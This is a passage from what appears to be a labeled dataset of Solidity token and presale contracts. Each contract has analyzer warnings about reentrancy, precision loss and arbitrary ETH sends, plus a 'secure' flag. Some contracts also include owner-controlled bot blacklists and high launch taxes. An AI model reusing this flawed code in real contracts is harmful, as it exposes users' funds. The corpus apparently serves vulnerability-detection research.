= _tokensToSell;\n\n phases[_phaseId].tokenPerUsdPrice = _tokenPerUsdPrice;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6b43e99): PresaleETH.getLatestPrice() ignores return value by (None,price,None,None,None) = priceFeed.latestRoundData()\n\t// Recommendation for 6b43e99: Ensure that all the return values of the function calls are used.\n function getLatestPrice() public view returns (uint256) {\n\t\t// unused-return | ID: 6b43e99\n (, int256 price, , , ) = priceFeed.latestRoundData();\n\n return uint256(price);\n }\n\n function buyToken() public payable {\n require(!isPresaleEnded, \"Presale ended!\");\n\n require(presaleStatus, \" Presale is Paused, check back later\");\n\n if (!isExist[msg.sender]) {\n isExist[msg.sender] = true;\n\n uniqueBuyers++;\n\n UsersAddresses.push(msg.sender);\n }\n\n fundReceiver.transfer(msg.value);\n\n uint256 numberOfTokens;\n\n numberOfTokens = nativeToToken(msg.value, currentStage);\n\n require(\n phases[currentStage].totalSoldTokens + numberOfTokens <=\n phases[currentStage].tokensToSell,\n \"Phase Limit Reached\"\n );\n\n soldToken = soldToken + (numberOfTokens);\n\n amountRaised = amountRaised + (msg.value);\n\n amountRaisedOverall = amountRaisedOverall + nativeToUsd(msg.value);\n\n users[msg.sender].native_balance =\n users[msg.sender].native_balance +\n (msg.value);\n\n users[msg.sender].token_balance =\n users[msg.sender].token_balance +\n (numberOfTokens);\n\n phases[currentStage].totalSoldTokens += numberOfTokens;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f12a066): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f12a066: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function buyTokenUSDT(uint256 amount) public {\n require(!isPresaleEnded, \"Presale ended!\");\n\n require(presaleStatus, \" Presale is Paused, check back later\");\n\n if (!isExist[msg.sender]) {\n isExist[msg.sender] = true;\n\n uniqueBuyers++;\n\n UsersAddresses.push(msg.sender);\n }\n\n\t\t// reentrancy-benign | ID: f12a066\n USDT.transferFrom(msg.sender, fundReceiver, amount);\n\n uint256 numberOfTokens;\n\n numberOfTokens = usdtToToken(amount, currentStage);\n\n require(\n phases[currentStage].totalSoldTokens + numberOfTokens <=\n phases[currentStage].tokensToSell,\n \"Phase Limit Reached\"\n );\n\n\t\t// reentrancy-benign | ID: f12a066\n soldToken = soldToken + numberOfTokens;\n\n\t\t// reentrancy-benign | ID: f12a066\n amountRaisedUSDT = amountRaisedUSDT + amount;\n\n\t\t// reentrancy-benign | ID: f12a066\n amountRaisedOverall = amountRaisedOverall + amount;\n\n\t\t// reentrancy-benign | ID: f12a066\n users[msg.sender].usdt_balance += amount;\n\n\t\t// reentrancy-benign | ID: f12a066\n users[msg.sender].token_balance =\n users[msg.sender].token_balance +\n numberOfTokens;\n\n\t\t// reentrancy-benign | ID: f12a066\n phases[currentStage].totalSoldTokens += numberOfTokens;\n }\n\n function getPhaseDetail(\n uint256 phaseInd\n )\n external\n view\n returns (uint256 tokenToSell, uint256 soldTokens, uint256 priceUsd)\n {\n Phase memory phase = phases[phaseInd];\n\n return (\n phase.tokensToSell,\n phase.totalSoldTokens,\n phase.tokenPerUsdPrice\n );\n }\n\n function setPresaleStatus(bool _status) external onlyOwner {\n presaleStatus = _status;\n }\n\n function endPresale() external onlyOwner {\n isPresaleEnded = true;\n\n claimStartTime = block.timestamp;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 1fcdae9): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 1fcdae9: Consider ordering multiplication before division.\n function nativeToToken(\n uint256 _amount,\n uint256 phaseId\n ) public view returns (uint256) {\n\t\t// divide-before-multiply | ID: 1fcdae9\n uint256 ethToUsd = (_amount * (getLatestPrice())) / (1 ether);\n\n\t\t// divide-before-multiply | ID: 1fcdae9\n uint256 numberOfTokens = (ethToUsd * phases[phaseId].tokenPerUsdPrice) /\n (1e8);\n\n return numberOfTokens;\n }\n\n function usdtToToken(\n uint256 _amount,\n uint256 phaseId\n ) public view returns (uint256) {\n uint256 numberOfTokens = (_amount * phases[phaseId].tokenPerUsdPrice) /\n (1e6);\n\n return numberOfTokens;\n }\n\n function nativeToUsd(uint256 _amount) public view returns (uint256) {\n uint256 nativeTousd = (_amount * (getLatestPrice())) / (1e20);\n\n return nativeTousd;\n }\n\n function initiateTransfer(uint256 _value) external onlyOwner {\n fundReceiver.transfer(_value);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 4618386): PresaleETH.setCurrentStage(uint256) should emit an event for currentStage = _stageNum \n\t// Recommendation for 4618386: Emit an event for critical parameter changes.\n function setCurrentStage(uint256 _stageNum) public onlyOwner {\n\t\t// events-maths | ID: 4618386\n currentStage = _stageNum;\n }\n\n function updatePriceFeed(\n AggregatorV3Interface _priceFeed\n ) external onlyOwner {\n priceFeed = _priceFeed;\n }\n\n function transferTokens(IERC20 token, uint256 _value) external onlyOwner {\n token.transfer(msg.sender, _value);\n }\n\n function totalUsersCount() external view returns (uint256) {\n return UsersAddresses.length;\n }\n}",
"file_name": "solidity_code_131.sol",
"secure": 0,
"size_bytes": 10152
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: aef1f31): Contract locking ether found Contract Memestaking has payable functions Memestaking.receive() But does not have a function to withdraw the ether\n// Recommendation for aef1f31: Remove the 'payable' attribute or add a withdraw function.\ncontract Memestaking is ERC20, Ownable {\n constructor() ERC20(\"Memestaking\", \"MES\") {\n _mint(owner(), 21_000_000_000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: aef1f31): Contract locking ether found Contract Memestaking has payable functions Memestaking.receive() But does not have a function to withdraw the ether\n\t// Recommendation for aef1f31: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1310.sol",
"secure": 0,
"size_bytes": 1013
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 7e29be4): Contract locking ether found Contract WcTrump has payable functions WcTrump.receive() But does not have a function to withdraw the ether\n// Recommendation for 7e29be4: Remove the 'payable' attribute or add a withdraw function.\ncontract WcTrump is ERC20, Ownable {\n constructor() ERC20(unicode\"WcTrump\", unicode\"WcTRUMP\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 7e29be4): Contract locking ether found Contract WcTrump has payable functions WcTrump.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 7e29be4: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1311.sol",
"secure": 0,
"size_bytes": 1003
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 2557305): Contract locking ether found Contract CHUCKY has payable functions CHUCKY.receive() But does not have a function to withdraw the ether\n// Recommendation for 2557305: Remove the 'payable' attribute or add a withdraw function.\ncontract CHUCKY is ERC20, Ownable {\n constructor() ERC20(unicode\"CHUCKY\", unicode\"CHUCKY\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 2557305): Contract locking ether found Contract CHUCKY has payable functions CHUCKY.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 2557305: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1312.sol",
"secure": 0,
"size_bytes": 996
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Samantha is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a9c0f7f): Samantha._taxWallet should be immutable \n\t// Recommendation for a9c0f7f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5d55497): Samantha._initialBuyTax should be constant \n\t// Recommendation for 5d55497: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1d2571b): Samantha._initialSellTax should be constant \n\t// Recommendation for 1d2571b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7891277): Samantha._reduceBuyTaxAt should be constant \n\t// Recommendation for 7891277: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: ef2bebf): Samantha._reduceSellTaxAt should be constant \n\t// Recommendation for ef2bebf: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: bede78d): Samantha._preventSwapBefore should be constant \n\t// Recommendation for bede78d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Samantha\";\n\n string private constant _symbol = unicode\"SAM\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4983ac5): Samantha._taxSwapThreshold should be constant \n\t// Recommendation for 4983ac5: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6fcc7aa): Samantha._maxTaxSwap should be constant \n\t// Recommendation for 6fcc7aa: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 15000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7627e61): Samantha.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7627e61: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 60706de): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 60706de: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5eb7ceb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5eb7ceb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 60706de\n\t\t// reentrancy-benign | ID: 5eb7ceb\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 60706de\n\t\t// reentrancy-benign | ID: 5eb7ceb\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4f90802): Samantha._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4f90802: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5eb7ceb\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 60706de\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 532674a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 532674a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4875862): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4875862: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 532674a\n\t\t\t\t// reentrancy-eth | ID: 4875862\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 532674a\n\t\t\t\t\t// reentrancy-eth | ID: 4875862\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 4875862\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 4875862\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4875862\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 532674a\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4875862\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4875862\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 532674a\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 532674a\n\t\t// reentrancy-events | ID: 60706de\n\t\t// reentrancy-benign | ID: 5eb7ceb\n\t\t// reentrancy-eth | ID: 4875862\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 29d046d): Samantha.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 29d046d: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 532674a\n\t\t// reentrancy-events | ID: 60706de\n\t\t// reentrancy-eth | ID: 4875862\n\t\t// arbitrary-send-eth | ID: 29d046d\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 499f186): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 499f186: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: dd5fd04): Samantha.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for dd5fd04: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a940e44): Samantha.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for a940e44: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d8c3382): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d8c3382: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 499f186\n\t\t// reentrancy-eth | ID: d8c3382\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 499f186\n\t\t// unused-return | ID: dd5fd04\n\t\t// reentrancy-eth | ID: d8c3382\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 499f186\n\t\t// unused-return | ID: a940e44\n\t\t// reentrancy-eth | ID: d8c3382\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 499f186\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: d8c3382\n tradingOpen = true;\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function reduceFees(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_1313.sol",
"secure": 0,
"size_bytes": 17923
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol\" as ERC20Pausable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract SaveTrumpIo is ERC20, ERC20Burnable, ERC20Pausable, Ownable {\n uint256 public immutable initialSupply = 1000000000 * 10 ** decimals();\n\n constructor() ERC20(\"SaveTrump Token\", \"STT\") Ownable(msg.sender) {\n decimals();\n\n _mint(msg.sender, initialSupply);\n }\n\n function pause() public onlyOwner {\n _pause();\n }\n\n function unpause() public onlyOwner {\n _unpause();\n }\n\n function mint(address to, uint256 amount) public onlyOwner {\n _mint(to, amount);\n }\n\n function _update(\n address from,\n address to,\n uint256 value\n ) internal override(ERC20, ERC20Pausable) {\n super._update(from, to, value);\n }\n}",
"file_name": "solidity_code_1314.sol",
"secure": 1,
"size_bytes": 1119
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract BRETTNESS is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a5cd8be): BRETTNESS._taxWallet should be immutable \n\t// Recommendation for a5cd8be: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 227a2dd): BRETTNESS._initialBuyTax should be constant \n\t// Recommendation for 227a2dd: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: c4c26a5): BRETTNESS._initialSellTax should be constant \n\t// Recommendation for c4c26a5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 93971b7): BRETTNESS._finalBuyTax should be constant \n\t// Recommendation for 93971b7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a458c1e): BRETTNESS._finalSellTax should be constant \n\t// Recommendation for a458c1e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3ccc4d9): BRETTNESS._reduceBuyTaxAt should be constant \n\t// Recommendation for 3ccc4d9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: ad38980): BRETTNESS._reduceSellTaxAt should be constant \n\t// Recommendation for ad38980: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 817c201): BRETTNESS._preventSwapBefore should be constant \n\t// Recommendation for 817c201: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Brettness\";\n\n string private constant _symbol = unicode\"BRETTNESS\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 837c88b): BRETTNESS._taxSwapThreshold should be constant \n\t// Recommendation for 837c88b: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 313427f): BRETTNESS._maxTaxSwap should be constant \n\t// Recommendation for 313427f: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1028ebb): BRETTNESS.uniswapV2Router should be immutable \n\t// Recommendation for 1028ebb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 672bf5d): BRETTNESS.uniswapV2Pair should be immutable \n\t// Recommendation for 672bf5d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0c26c45): BRETTNESS.sellsPerBlock should be constant \n\t// Recommendation for 0c26c45: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: fd3dd36): BRETTNESS.buysFirstBlock should be constant \n\t// Recommendation for fd3dd36: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 21;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n 